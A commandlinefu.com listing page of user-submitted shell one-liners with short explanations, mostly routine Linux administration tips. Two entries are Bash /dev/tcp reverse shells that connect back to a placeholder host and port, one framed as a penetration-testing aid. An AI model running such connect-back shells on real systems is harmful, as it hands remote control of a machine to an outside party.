Commands tagged shell (95)


  • 2
    renice 19 -p $$
    hemanth · 2009-07-29 16:56:22 3
  • Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script.


    2
    svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
    arcege · 2009-09-04 17:23:45 3
  • Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/


    2
    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 6
  • extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.


    2
    wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
    mtron · 2010-04-02 09:43:32 4

  • 2
    bash -i >& /dev/tcp/IP/PORT 0>&1
    rux · 2011-02-16 11:54:29 3
  • Must be run as root. The 'tomcat' user must have access to the .keystore file. The key and keystore passwords must be the same. The password must be entered into the server.xml config file for Tomcat. Show Sample Output


    2
    ${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore)
    ShadowCat8 · 2011-10-13 19:40:35 5

  • 2
    :shell
    unixmonkey41067 · 2012-10-19 12:13:49 4
  • Use 'ctrl-@' to set a mark. See the first comment for a better explanation.


    2
    ctrl-x ctrl-x
    somaddict · 2012-11-16 03:49:26 14
  • Uses the shell builtin `declare` with the '-f' flag to output only functions to grep out only the function names. You can use it as an alias or function like so: alias shfunctions="builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'" shfunctions () { builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'; } Show Sample Output


    2
    builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
    sciro · 2018-07-23 05:24:04 1000
  • This coloured prompt will show: username in green, grey "@" sign, hostname in red, current directory in yellow, typed commands in green.


    2
    export PS1="\e[1;32m\u\e[0m@\e[1;31m\h\e[0m\e[1;33m\w:#> \e[1;32m"
    guillaume1306 · 2018-12-10 14:08:06 37
  • Like many other thing in Linux ,you can see the same thing in different way. Show Sample Output


    1
    ip addr show
    unixbhaskar · 2009-08-29 12:52:02 3

  • 1
    which <filename>
    Hal_Pomeranz · 2009-09-12 00:51:24 5
  • Remove everything in current directory except files starting with "ca".


    1
    rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
    arcege · 2009-09-15 14:22:56 7
  • Thanks to comment if that works or not... If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command : perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' <INTERFACE> ( The first perl command will install the module if it's not there already... )


    1
    x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
    sputnick · 2009-12-13 02:23:40 36
  • Continue a current job in the background and detach it from current terminal


    1
    %1 &!
    Dema · 2011-01-14 02:26:24 7
  • Sometimes, you don't want to just replace the spaces in the current folder, but through the whole folder tree - such as your whole music collection, perhaps. Or maybe you want to do some other renaming operation throughout a tree - this command's useful for that, too. To rename stuff through a whole directory tree, you might expect this to work: for a in `find . -name '* *'`;do mv -i "$a" ${a// /_};done No such luck. The "for" command will split its parameters on spaces unless the spaces are escaped, so given a file "foo bar", the above would not try to move the file "foo bar" to "foo_bar" but rather the file "foo" to "foo", and the file "bar" to "bar". Instead, find's -execdir and -depth arguments need to be used, to set a variable to the filename, and rename files within the directory before we rename the directory. It has to be -execdir and won't work with just -exec - that would try to rename "foo bar/baz quux" to "foo_bar/baz_quux" in one step, rather than going into "foo bar/", changing "baz quux" to "baz_quux", then stepping out and changing "foo bar/" into "foo_bar/". To rename just files, or just directories, you can put "-type f" or "-type d" after the "-depth" param. You could probably safely replace the "mv" part of the line with a "rename" command, like rename 'y/ /_/' *, but I haven't tried, since that's way less portable.


    1
    find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
    DewiMorgan · 2012-02-28 04:03:40 4
  • Find installed network devices. Show Sample Output


    1
    sudo lshw -C network
    cantormath · 2012-06-07 10:32:49 4
  • This uses mutt to send the file, and doesn't require uuencode etc


    1
    echo "This is the message body" | mutt -s "Message subject" -a file_to_attach.zip fred@example.com
    jedifu · 2013-09-26 08:05:26 7
  • Converts control codes and spaces (ASCII code ≤ 32) to visible Unicode Control Pictures, U+2400 ? U+2420. Skips \n characters, which is probably a good thing. Show Sample Output


    1
    /bin/echo -e '\002Hello, Folks\t!\r' | perl -pwle 'use v5.14; s/([\N{U+0000}-\N{U+0020}])/chr(9216+ord($1))/ge;'
    scruss · 2014-06-30 01:45:40 11
  • Download latest released gitlab docker container


    1
    wget -qO- 'https://github.com'$(curl -s 'https://github.com'$(curl -s https://github.com/sameersbn/docker-gitlab/releases | grep -m 1 -o '<a.*[0-9\.]</a>' | cut -d '"' -f 2) | grep -o '<a.* rel="nofollow">' | grep 'tar.gz' | cut -d '"' -f 2)
    BigZ · 2016-08-23 21:36:57 14

  • 1
    rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers<=rangeEnd; numbers++)); do echo $numbers; done
    forouharid · 2019-07-27 21:04:27 73
  • Thanks to this user: https://stackoverflow.com/a/35636373/2394635 Show Sample Output


    1
    s='Test "checkin_resumestorevisit \"- "Online_V2.mt" Run'; s=${s#*'"'}; s=${s%'"'*}; echo "$s"
    bugmenot · 2022-01-08 16:16:18 360
  • This is a working version, though probably clumsy, of the script submitted by felix001. This works on ubuntu and CygWin. This would be great as a bash function, defined in .bashrc. Additionally it would work as a script put in the path. Show Sample Output


    0
    lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
    xizdaqrian · 2009-05-05 07:52:10 12
  • A wonderful command line utility to check the internet usage. It has got so many useful switch to display the data you want.Please visit the man page to get all the information.Get it from this website http://humdi.net/vnstat Show Sample Output


    0
    vnstat
    unixbhaskar · 2009-08-28 04:14:42 4
  • Sometime you need to run firefox from the command just to rectify something about it.Means,if some of the addon broke you firefox setting or theme broke your ff setting then fall back to commandline i.e shell and type the mentioned command. It will open up an information box with few option along with the checkbox besides them(means you can select them) to start the web browser in safe mode.Besically deactivating all the addon and theme,except the default one.Once you are done/rectified thing ..close that session and reopen the browser normally.It should work.


    0
    firefox --safe-mode
    unixbhaskar · 2009-08-29 04:36:19 3
  •  < 1 2 3 4 > 

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Adding Prefix to File name
Adding course name prefix to lecture pdfs

Rename all subtitles files with the same name of mp4 files in same folder
Use this command if you want to rename all subtitles for them to have the same name as the mp4 files. NOTE: The order of "ls -1 *.mp4" must match the order of "ls -1 *.srt", run the command bellow to make sure the *.srt files will really match the movies after run this command: paste -d:

Convert seconds to [DD:][HH:]MM:SS
Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

Google Translate
$ translate [output-language] [source-language] 1) "some phrase" should be in quotes 2) [output-language] - optional (default: English) 3) [source-language] - optional (default: auto) $ translate "bonjour petit lapin" hello little rabbit $ translate "bonjour petit lapin" en hello little rabbit $ translate "bonjour petit lapin" en fr hello little rabbit

Calculate days on which Friday the 13th occurs (inspired from the work of the user justsomeguy)
Friday is the 5th day of the week, monday is the 1st. Output may be affected by locale.

Check if the LHC has destroyed the world
This says if the LHC has destroyed the world. Run it in a loop to monitor the state of Earth. Might not work reliable, if the world has actually been destroyed.

Use socat to emulate an SMTP mail SERVER
Lots of scripts show you how to use socat to send an email to an SMTP server; this command actually emulates an SMTP server! It assumes the client is only sending to one recipient, and it's not at all smart, but it'll capture the email into a log file and the client will stop retrying. I used this to diagnose what emails were being sent by cron and subsequently discarded, but you can use it for all sorts of things.

find the rpm package name that provides a specific file
For Linux distributions using rpm (eg Mandriva), this command will find the rpm package name that provides a file.

Redirect STDIN
Several times, I find myself hitting my up arrow, and changing the search term. Unfortunately, I find myself wasting too much time typing: $ grep kernel /var/log/messages Redirecting STDIN allows me to put the search term at the end so I less cursor movement to change what I'm searching for: $ < /var/log/messages grep kernel If you're using the emacs keyboard binding, then after you press your up arrow, press CTRL+w to erase the word. If this has already been submitted, I couldn't find it with the search utility.

dd with progress bar and statistics
Will automatically take the size of the file but longer, usefull only if in an function.


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: